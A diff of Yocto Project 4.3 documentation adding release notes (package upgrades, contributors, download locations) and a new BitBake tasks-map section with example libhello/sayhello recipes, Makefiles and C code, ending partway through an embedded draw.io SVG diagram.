+- man-pages: upgrade 6.03 -> 6.05.01
+- mc: upgrade 4.8.29 -> 4.8.30
+- mesa: upgrade 23.0.0 -> 23.2.1
+- meson: upgrade 1.0.1 -> 1.2.2
+- mmc-utils: upgrade to latest revision
+- mobile-broadband-provider-info: upgrade 20221107 -> 20230416
+- mpfr: upgrade 4.2.0 -> 4.2.1
+- mpg123: upgrade 1.31.2 -> 1.31.3
+- msmtp: upgrade 1.8.23 -> 1.8.24
+- mtd-utils: upgrade 2.1.5 -> 2.1.6
+- mtools: upgrade 4.0.42 -> 4.0.43
+- musl: update to latest master
+- neard: upgrade 0.18 -> 0.19
+- nettle: upgrade 3.8.1 -> 3.9.1
+- nfs-utils: upgrade 2.6.2 -> 2.6.3
+- nghttp2: upgrade 1.52.0 -> 1.57.0
+- ofono: upgrade 2.0 -> 2.1
+- openssh: upgrade to 9.5p1
+- openssl: upgrade 3.1.0 -> 3.1.3
+- opkg: upgrade 0.6.1 -> 0.6.2
+- opkg-utils: upgrade 0.5.0 -> 0.6.2
+- orc: upgrade 0.4.33 -> 0.4.34
+- ovmf: update 202211 -> 202305
+- ovmf: update edk2-stable202305 -> edk2-stable202308
+- p11-kit: upgrade 0.24.1 -> 0.25.0
+- pango: upgrade 1.50.13 -> 1.51.0
+- parted: upgrade 3.5 -> 3.6
+- patchelf: Upgrade 0.17.2 -> 0.18.0
+- pciutils: upgrade 3.9.0 -> 3.10.0
+- perlcross: update 1.4 -> 1.5
+- perl: update 5.36.0 -> 5.38.0
+- piglit: upgrade to latest revision
+- pigz: upgrade 2.7 -> 2.8
+- pkgconf: upgrade 1.9.4 -> 2.0.3
+- ppp: upgrade 2.4.9 -> 2.5.0
+- procps: update 4.0.3 -> 4.0.4
+- puzzles: upgrade to latest revision
+- python3-attrs: upgrade 22.2.0 -> 23.1.0
+- python3-build: upgrade to 1.0.3
+- python3-certifi: upgrade 2022.12.7 -> 2023.7.22
+- python3-chardet: upgrade 5.1.0 -> 5.2.0
+- python3-cryptography{-vectors}: upgrade 39.0.2 -> 41.0.4
+- python3-cython: upgrade 0.29.33 -> 0.29.36
+- python3-dbusmock: upgrade 0.28.7 -> 0.29.1
+- python3-docutils: upgrade 0.19 -> 0.20.1
+- python3-dtc: upgrade 1.6.1 -> 1.7.0
+- python3-dtschema: upgrade 2023.1 -> 2023.7
+- python3-editables: upgrade 0.3 -> 0.5
+- python3-flit-core: upgrade 3.8.0 -> 3.9.0
+- python3-git: upgrade 3.1.31 -> 3.1.36
+- python3-hatch-fancy-pypi-readme: upgrade 22.8.0 -> 23.1.0
+- python3-hatchling: upgrade 1.13.0 -> 1.18.0
+- python3-hypothesis: upgrade 6.68.2 -> 6.86.2
+- python3-importlib-metadata: upgrade 6.0.0 -> 6.8.0
+- python3-installer: upgrade 0.6.0 -> 0.7.0
+- python3-iso8601: upgrade 1.1.0 -> 2.0.0
+- python3-jsonpointer: upgrade to 2.4
+- python3-libarchive-c: upgrade 4.0 -> 5.0
+- python3-lxml: upgrade 4.9.2 -> 4.9.3
+- python3-markdown: upgrade 3.4.1 -> 3.4.4
+- python3-markupsafe: upgrade 2.1.2 -> 2.1.3
+- python3-more-itertools: upgrade 9.1.0 -> 10.1.0
+- python3-numpy: upgrade 1.24.2 -> 1.26.0
+- python3-packaging: upgrade 23.0 -> 23.1
+- python3-pathspec: upgrade 0.11.0 -> 0.11.2
+- python3-pip: upgrade 23.0.1 -> 23.2.1
+- python3-pluggy: upgrade 1.0.0 -> 1.3.0
+- python3-poetry-core: upgrade 1.5.2 -> 1.7.0
+- python3-psutil: upgrade 5.9.4 -> 5.9.5
+- python3-pyasn1: upgrade 0.4.8 -> 0.5.0
+- python3-pycairo: upgrade 1.23.0 -> 1.24.0
+- python3-pycryptodome: upgrade 3.17 -> 3.19.0
+- python3-pycryptodomex: upgrade 3.17 -> 3.19.0
+- python3-pyelftools: upgrade 0.29 -> 0.30
+- python3-pygments: upgrade 2.14.0 -> 2.16.1
+- python3-pygobject: upgrade 3.42.2 -> 3.46.0
+- python3-pyopenssl: upgrade 23.0.0 -> 23.2.0
+- python3-pyparsing: upgrade 3.0.9 -> 3.1.1
+- python3-pytest-subtests: upgrade 0.10.0 -> 0.11.0
+- python3-pytest: upgrade 7.2.2 -> 7.4.2
+- python3-pytz: upgrade 2022.7.1 -> 2023.3
+- python3-pyyaml: upgrade 6.0 -> 6.0.1
+- python3-requests: Upgrade to 2.31.0
+- python3-ruamel-yaml: upgrade 0.17.21 -> 0.17.32
+- python3-setuptools-rust: upgrade 1.5.2 -> 1.7.0
+- python3-setuptools: upgrade 67.6.0 -> 68.2.2
+- python3-smmap: upgrade 5.0.0 -> 6.0.0
+- python3-sphinx-rtd-theme: upgrade 1.2.0 -> 1.3.0
+- python3-sphinx: upgrade 6.1.3 -> 7.2.6
+- python3-trove-classifiers: upgrade 2023.4.29 -> 2023.9.19
+- python3-typing-extensions: upgrade 4.5.0 -> 4.8.0
+- python3: upgrade 3.11.2 -> 3.11.5
+- python3-urllib3: upgrade 1.26.15 -> 2.0.6
+- python3-webcolors: upgrade 1.12 -> 1.13
+- python3-wheel: upgrade 0.40.0 -> 0.41.2
+- python3-zipp: upgrade 3.15.0 -> 3.17.0
+- qemu: Upgrade 7.2.0 -> 8.1.0
+- re2c: upgrade 3.0 -> 3.1
+- repo: upgrade 2.32 -> 2.36.1
+- rpcsvc-proto: Upgrade to 1.4.4
+- rpm2cpio.sh: update to the last 4.x version
+- rpm: update 4.18.0 -> 4.18.1
+- ruby: upgrade 3.2.1 -> 3.2.2
+- rust: Upgrade 1.68.1 -> 1.70.0
+- screen: update 4.9.0 -> 4.9.1
+- seatd: upgrade 0.7.0 -> 0.8.0
+- serf: upgrade 1.3.9 -> 1.3.10
+- shaderc: upgrade 2023.2 -> 2023.6
+- spirv-headers: upgrade 1.3.239.0 -> 1.3.243.0
+- spirv-tools: upgrade 1.3.239.0 -> 1.3.243.0
+- sqlite3: upgrade 3.41.0 -> 3.43.1
+- squashfs-tools: upgrade 4.5.1 -> 4.6.1
+- sstatesig: Update to match bitbake changes to runtaskdeps
+- strace: upgrade 6.2 -> 6.5
+- stress-ng: upgrade 0.15.06 -> 0.16.05
+- sudo: update 1.9.13p3 -> 1.9.14p3
+- sysfsutils: update 2.1.0 -> 2.1.1
+- sysklogd: upgrade 2.4.4 -> 2.5.2
+- sysstat: update 12.6.2 -> 12.7.4
+- systemd: upgrade 253.1 -> 254.4
+- systemtap: upgrade 4.8 -> 4.9
+- taglib: upgrade 1.13 -> 1.13.1
+- tar: upgrade 1.34 -> 1.35
+- tcf-agent: Update to 1.8.0 release
+- texinfo: upgrade 7.0.2 -> 7.0.3
+- tiff: upgrade to 4.6.0
+- u-boot: Upgrade to 2023.10
+- util-linux: upgrade 2.38.1 -> 2.39.2
+- vala: upgrade 0.56.4 -> 0.56.13
+- valgrind: update 3.20.0 -> 3.21.0
+- vim: upgrade 9.0.1429 -> 9.0.2048
+- vte: upgrade 0.72.0 -> 0.72.2
+- vulkan-headers: upgrade to 1.3.243
+- vulkan-loader: upgrade to 1.3.243
+- vulkan-samples: update to latest SHA
+- vulkan-tools: upgrade to 1.3.243
+- vulkan: upgrade 1.3.243.0 -> 1.3.261.1
+- waffle: upgrade 1.7.0 -> 1.7.2
+- wayland-protocols: upgrade 1.31 -> 1.32
+- wayland: upgrade 1.21.0 -> 1.22.0
+- wayland-utils: upgrade 1.1.0 -> 1.2.0
+- webkitgtk: update 2.38.5 -> 2.40.5
+- weston: update 11.0.1 -> 12.0.2
+- wget: upgrade 1.21.3 -> 1.21.4
+- wireless-regdb: upgrade 2023.02.13 -> 2023.09.01
+- wpebackend-fdo: upgrade 1.14.0 -> 1.14.2
+- xcb-proto: upgrade 1.15.2 -> 1.16.0
+- xdpyinfo: upgrade 1.3.3 -> 1.3.4
+- xeyes: upgrade 1.2.0 -> 1.3.0
+- xf86-input-libinput: upgrade 1.2.1 -> 1.4.0
+- xf86-input-mouse: upgrade 1.9.4 -> 1.9.5
+- xinput: upgrade to v1.6.4
+- xkeyboard-config: upgrade 2.38 -> 2.39
+- xorgproto: upgrade 2022.2 -> 2023.2
+- xserver-xorg: upgrade 21.1.7 -> 21.1.8
+- xtrans: update 1.4.0 -> 1.5.0
+- xwayland: upgrade 22.1.8 -> 23.2.1
+- xwininfo: upgrade to v1.1.6
+- xxhash: upgrade 0.8.1 -> 0.8.2
+- xz: upgrade 5.4.2 -> 5.4.4
+- zlib: upgrade 1.2.13 -> 1.3
+- zstd: upgrade 1.5.4 -> 1.5.5
+
+
+
+
Contributors to 4.3
~~~~~~~~~~~~~~~~~~~
+
+Thanks to the following people who contributed to this release:
+
+- Adrian Freihofer
+- Alassane Yattara
+- Alberto Pianon
+- Alberto Planas
+- Alejandro Hernandez Samaniego
+- Alexander Kanavin
+- Alexandre Belloni
+- Alexis Lothoré
+- Alex Kiernan
+- Andreas Cord-Landwehr
+- André Draszik
+- Andrej Valek
+- Andrew Jeffery
+- Andrey Zhizhikin
+- Angelo Ribeiro
+- Antoine Lubineau
+- Antonin Godard
+- Anuj Mittal
+- Archana Polampalli
+- Armin Kuster
+- Arne Schwerdt
+- Arno Baumfalk
+- Arslan Ahmad
+- Bartosz Golaszewski
+- BELHADJ SALEM Talel
+- BELOUARGA Mohamed
+- Benjamin Bara
+- Benjamin Bouvier
+- Bergin, Peter
+- Bruce Ashfield
+- Changhyeok Bae
+- Changqing Li
+- Charles-Antoine Couret
+- Charlie Wu
+- Chen Qi
+- Chi Xu
+- Chris Laplante
+- Christopher Larson
+- Daniel Ammann
+- Daniel McGregor
+- Daniel Semkowicz
+- David Reyna
+- Deepthi Hemraj
+- Denis OSTERLAND-HEIM
+- Denys Dmytriyenko
+- Derek Straka
+- Dit Kozmaj
+- Dmitry Baryshkov
+- Ed Beroset
+- Eero Aaltonen
+- Eilís 'pidge' Ní Fhlannagáin
+- Emil Ekmečić
+- Emil Kronborg Andersen
+- Enrico Jörns
+- Enrico Scholz
+- Etienne Cordonnier
+- Fabien Mahot
+- Fabio Estevam
+- Fahad Arslan
+- Frank WOLFF
+- Frederic Martinsons
+- Frieder Paape
+- Frieder Schrempf
+- Geoff Parker
+- Hannu Lounento
+- Ian Ray
+- Insu Park
+- Jaeyoon Jung
+- Jamin Lin
+- Jan Garcia
+- Jan Vermaete
+- Jasper Orschulko
+- Jean-Marie Lemetayer
+- Jérémy Rosen
+- Jermain Horsman
+- Jialing Zhang
+- Joel Stanley
+- Joe Slater
+- Johannes Schrimpf
+- Jon Mason
+- Jörg Sommer
+- Jose Quaresma
+- Joshua Watt
+- Julien Stephan
+- Kai Kang
+- Khem Raj
+- Kyle Russell
+- Lee Chee Yang
+- Lei Maohui
+- Leon Anavi
+- Lorenzo Arena
+- Louis Rannou
+- Luan Rafael Carneiro
+- Luca Boccassi
+- Luca Ceresoli
+- Marc Ferland
+- Marcus Flyckt
+- Marek Vasut
+- Mark Asselstine
+- Mark Hatle
+- Markus Niebel
+- Markus Volk
+- Marlon Rodriguez Garcia
+- Marta Rybczynska
+- Martijn de Gouw
+- Martin Jansa
+- Martin Siegumfeldt
+- Matthias Schnelte
+- Mauro Queiros
+- Max Krummenacher
+- Michael Halstead
+- Michael Opdenacker
+- Mickael RAMILISON
+- Mikko Rapeli
+- Ming Liu
+- Mingli Yu
+- Narpat Mali
+- Natasha Bailey
+- Nikhil R
+- Ninad Palsule
+- Ola x Nilsson
+- Oleksandr Hnatiuk
+- Otavio Salvador
+- Ovidiu Panait
+- Pascal Bach
+- Patrick Williams
+- Paul Eggleton
+- Paul Gortmaker
+- Paulo Neves
+- Pavel Zhukov
+- Pawan Badganchi
+- Peter Bergin
+- Peter Hoyes
+- Peter Kjellerstedt
+- Peter Marko
+- Peter Suti
+- Petr Gotthard
+- Petr Kubizňák
+- Piotr Łobacz
+- Poonam Jadhav
+- Qiu Tingting
+- Quentin Schulz
+- Randolph Sapp
+- Randy MacLeod
+- Ranjitsinh Rathod
+- Rasmus Villemoes
+- Remi Peuvergne
+- Richard Purdie
+- Riyaz Khan
+- Robert Joslyn
+- Robert P. J. Day
+- Robert Yang
+- Roland Hieber
+- Ross Burton
+- Ryan Eatmon
+- Sakib Sajal
+- Samantha Jalabert
+- Sanjay Chitroda
+- Sean Nyekjaer
+- Sergei Zhmylev
+- Siddharth Doshi
+- Soumya Sambu
+- Staffan Rydén
+- Stefano Babic
+- Stefan Tauner
+- Stéphane Veyret
+- Stephan Wurm
+- Sudip Mukherjee
+- Sundeep KOKKONDA
+- Svend Meyland Nicolaisen
+- Tan Wen Yan
+- Thomas Roos
+- Tim Orling
+- Tom Hochstein
+- Tom Isaacson
+- Trevor Gamblin
+- Ulrich Ölmann
+- Victor Kamensky
+- Vincent Davis Jr
+- Virendra Thakur
+- Wang Mingyu
+- Xiangyu Chen
+- Yang Xu
+- Yash Shinde
+- Yi Zhao
+- Yoann Congal
+- Yogita Urade
+- Yuta Hayama
+- Zang Ruochen
+- Zhixiong Chi
+
+
+Repositories / Downloads for Yocto-4.3
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+poky
+
+- Repository Location: :yocto_git:`/poky`
+- Branch: :yocto_git:`nanbield </poky/log/?h=nanbield>`
+- Tag: :yocto_git:`yocto-4.3 </poky/log/?h=yocto-4.3>`
+- Git Revision: :yocto_git:`15b576c4101231d248fda7ae0824e1780e1a8901 </poky/commit/?id=15b576c4101231d248fda7ae0824e1780e1a8901>`
+- Release Artefact: poky-15b576c4101231d248fda7ae0824e1780e1a8901
+- sha: 6b0ef7914d15db057f3efdf091b169a7361c74aac0abcfa717ef55d1a0adf74c
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.3/poky-15b576c4101231d248fda7ae0824e1780e1a8901.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.3/poky-15b576c4101231d248fda7ae0824e1780e1a8901.tar.bz2
+
+openembedded-core
+
+- Repository Location: :oe_git:`/openembedded-core`
+- Branch: :oe_git:`nanbield </openembedded-core/log/?h=nanbield>`
+- Tag: :oe_git:`yocto-4.3 </openembedded-core/log/?h=yocto-4.3>`
+- Git Revision: :oe_git:`4c261f8cbdf0c7196a74daad041d04eb093015f3 </openembedded-core/commit/?id=4c261f8cbdf0c7196a74daad041d04eb093015f3>`
+- Release Artefact: oecore-4c261f8cbdf0c7196a74daad041d04eb093015f3
+- sha: c9e6ac75d7848ce8844cb29c98659dd8f83b3de13b916124dff76abe034e6a5c
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.3/oecore-4c261f8cbdf0c7196a74daad041d04eb093015f3.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.3/oecore-4c261f8cbdf0c7196a74daad041d04eb093015f3.tar.bz2
+
+meta-mingw
+
+- Repository Location: :yocto_git:`/meta-mingw`
+- Branch: :yocto_git:`nanbield </meta-mingw/log/?h=nanbield>`
+- Tag: :yocto_git:`yocto-4.3 </meta-mingw/log/?h=yocto-4.3>`
+- Git Revision: :yocto_git:`65ef95a74f6ae815f63f636ed53e140a26a014ce </meta-mingw/commit/?id=65ef95a74f6ae815f63f636ed53e140a26a014ce>`
+- Release Artefact: meta-mingw-65ef95a74f6ae815f63f636ed53e140a26a014ce
+- sha: fb2bf806941a00a1be6349c074379b63a76490bcf0f3b740d96d1aeeefa12286
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.3/meta-mingw-65ef95a74f6ae815f63f636ed53e140a26a014ce.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.3/meta-mingw-65ef95a74f6ae815f63f636ed53e140a26a014ce.tar.bz2
+
+bitbake
+
+- Repository Location: :oe_git:`/bitbake`
+- Branch: :oe_git:`2.6 </bitbake/log/?h=2.6>`
+- Tag: :oe_git:`yocto-4.3 </bitbake/log/?h=yocto-4.3>`
+- Git Revision: :oe_git:`5419a8473d6d4cd1d01537de68ad8d72cf5be0b2 </bitbake/commit/?id=5419a8473d6d4cd1d01537de68ad8d72cf5be0b2>`
+- Release Artefact: bitbake-5419a8473d6d4cd1d01537de68ad8d72cf5be0b2
+- sha: e5dab4b3345d91307860803e2ad73b2fcffa9d17dd3fde0e013ca0ebea0d05ca
+- Download Locations:
+ http://downloads.yoctoproject.org/releases/yocto/yocto-4.3/bitbake-5419a8473d6d4cd1d01537de68ad8d72cf5be0b2.tar.bz2
+ http://mirrors.kernel.org/yocto/yocto/yocto-4.3/bitbake-5419a8473d6d4cd1d01537de68ad8d72cf5be0b2.tar.bz2
+
+yocto-docs
+
+- Repository Location: :yocto_git:`/yocto-docs`
+- Branch: :yocto_git:`nanbield </yocto-docs/log/?h=nanbield>`
+- Tag: :yocto_git:`yocto-4.3 </yocto-docs/log/?h=yocto-4.3>`
+- Git Revision: :yocto_git:`ceb1812e63b9fac062f886c2a1dde23137c0e1ed </yocto-docs/commit/?id=ceb1812e63b9fac062f886c2a1dde23137c0e1ed>`
+
diff --git a/poky/documentation/overview-manual/concepts.rst b/poky/documentation/overview-manual/concepts.rst
index 4e3f6425a4..d335c2fcdd 100644
--- a/poky/documentation/overview-manual/concepts.rst
+++ b/poky/documentation/overview-manual/concepts.rst
@@ -2189,3 +2189,173 @@ For more information, see the
BitBake User Manual. You can also reference the "`Why Not
Fakeroot? <https://github.com/wrpseudo/pseudo/wiki/WhyNotFakeroot>`__"
article for background information on Fakeroot and Pseudo.
+
+BitBake Tasks Map
+=================
+
+To understand how BitBake operates in the build directory and environment
+we can consider the following recipes and diagram, to have full picture
+about the tasks that BitBake runs to generate the final package file
+for the recipe.
+
+We will have two recipes as an example:
+
+- ``libhello``: A recipe that provides a shared library
+- ``sayhello``: A recipe that uses ``libhello`` library to do its job
+
+.. note::
+
+ ``sayhello`` depends on ``libhello`` at compile time as it needs the shared
+ library to do the dynamic linking process. It also depends on it at runtime
+ as the shared library loader needs to find the library.
+ For more details about dependencies check :ref:`ref-varlocality-recipe-dependencies`.
+
+``libhello`` sources are as follows:
+
+- ``LICENSE``: This is the license associated with this library
+- ``Makefile``: The file used by ``make`` to build the library
+- ``hellolib.c``: The implementation of the library
+- ``hellolib.h``: The C header of the library
+
+``sayhello`` sources are as follows:
+
+- ``LICENSE``: This is the license associated with this project
+- ``Makefile``: The file used by ``make`` to build the project
+- ``sayhello.c``: The source file of the project
+
+Before presenting the contents of each file, here are the steps
+that we need to follow to accomplish what we want in the first place,
+which is integrating ``sayhello`` in our root file system:
+
+#. Create a Git repository for each project with the corresponding files
+
+#. Create a recipe for each project
+
+#. Make sure that ``sayhello`` recipe :term:`DEPENDS` on ``libhello``
+
+#. Make sure that ``sayhello`` recipe :term:`RDEPENDS` on ``libhello``
+
+#. Add ``sayhello`` to :term:`IMAGE_INSTALL` to integrate it into
+ the root file system
+
+The following are the contents of ``libhello/Makefile``::
+
+ LIB=libhello.so
+
+ all: $(LIB)
+
+ $(LIB): hellolib.o
+ $(CC) $< -Wl,-soname,$(LIB).1 -fPIC $(LDFLAGS) -shared -o $(LIB).1.0
+
+ %.o: %.c
+ $(CC) -c $<
+
+ clean:
+ rm -rf *.o *.so*
+
+.. note::
+
+ When creating shared libraries, it is strongly recommended to follow the Linux
+ conventions and guidelines (see `this article
+ <https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html>`__
+ for some background).
+
+.. note::
+
+ When creating ``Makefile`` files, it is strongly recommended to use ``CC``, ``LDFLAGS``
+ and ``CFLAGS`` as BitBake will set them as environment variables according
+ to your build configuration.
+
+The following are the contents of ``libhello/hellolib.h``::
+
+ #ifndef HELLOLIB_H
+ #define HELLOLIB_H
+
+ void Hello();
+
+ #endif
+
+The following are the contents of ``libhello/hellolib.c``::
+
+ #include <stdio.h>
+
+ void Hello(){
+ puts("Hello from a Yocto demo \n");
+ }
+
+The following are the contents of ``sayhello/Makefile``::
+
+ EXEC=sayhello
+ LDFLAGS += -lhello
+
+ all: $(EXEC)
+
+ $(EXEC): sayhello.c
+ $(CC) $< $(LDFLAGS) $(CFLAGS) -o $(EXEC)
+
+ clean:
+ rm -rf $(EXEC) *.o
+
+The following are the contents of ``sayhello/sayhello.c``::
+
+ #include <hellolib.h>
+
+ int main(){
+ Hello();
+ return 0;
+ }
+
+The following are the contents of ``libhello_0.1.bb``::
+
+ SUMMARY = "Hello demo library"
+ DESCRIPTION = "Hello shared library used in Yocto demo"
+
+ # NOTE: Set the License according to the LICENSE file of your project
+ # and then add LIC_FILES_CHKSUM accordingly
+ LICENSE = "CLOSED"
+
+ # Assuming the branch is main
+ # Change <username> accordingly
+ SRC_URI = "git://github.com/<username>/libhello;branch=main;protocol=https"
+
+ S = "${WORKDIR}/git"
+
+ do_install(){
+ install -d ${D}${includedir}
+ install -d ${D}${libdir}
+
+ install hellolib.h ${D}${includedir}
+ oe_soinstall ${PN}.so.${PV} ${D}${libdir}
+ }
+
+The following are the contents of ``sayhello_0.1.bb``::
+
+ SUMMARY = "SayHello demo"
+ DESCRIPTION = "SayHello project used in Yocto demo"
+
+ # NOTE: Set the License according to the LICENSE file of your project
+ # and then add LIC_FILES_CHKSUM accordingly
+ LICENSE = "CLOSED"
+
+ # Assuming the branch is main
+ # Change <username> accordingly
+ SRC_URI = "git://github.com/<username>/sayhello;branch=main;protocol=https"
+
+ DEPENDS += "libhello"
+ RDEPENDS:${PN} += "libhello"
+
+ S = "${WORKDIR}/git"
+
+ do_install(){
+ install -d ${D}/usr/bin
+ install -m 0700 sayhello ${D}/usr/bin
+ }
+
+After placing the recipes in a custom layer we can run ``bitbake sayhello``
+to build the recipe.
+
+The following diagram shows the sequences of tasks that BitBake
+executes to accomplish that.
+
+.. image:: svg/bitbake_tasks_map.*
+ :width: 100%
diff --git a/poky/documentation/overview-manual/svg/bitbake_tasks_map.svg b/poky/documentation/overview-manual/svg/bitbake_tasks_map.svg
new file mode 100644
index 0000000000..09ef36faae
--- /dev/null
+++ b/poky/documentation/overview-manual/svg/bitbake_tasks_map.svg
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Do not edit this file with editors other than draw.io -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="12270px" height="3804px" viewBox="-0.5 -0.5 12270 3804" content="&lt;mxfile host=&quot;app.diagrams.net&quot; modified=&quot;2023-11-01T08:31:56.536Z&quot; agent=&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36&quot; etag=&quot;p-CQVME_iMteI52En1Eq&quot; version=&quot;22.0.8&quot; type=&quot;device&quot;&gt;&lt;diagram name=&quot;Page-1&quot; id=&quot;c7558073-3199-34d8-9f00-42111426c3f3&quot;&gt;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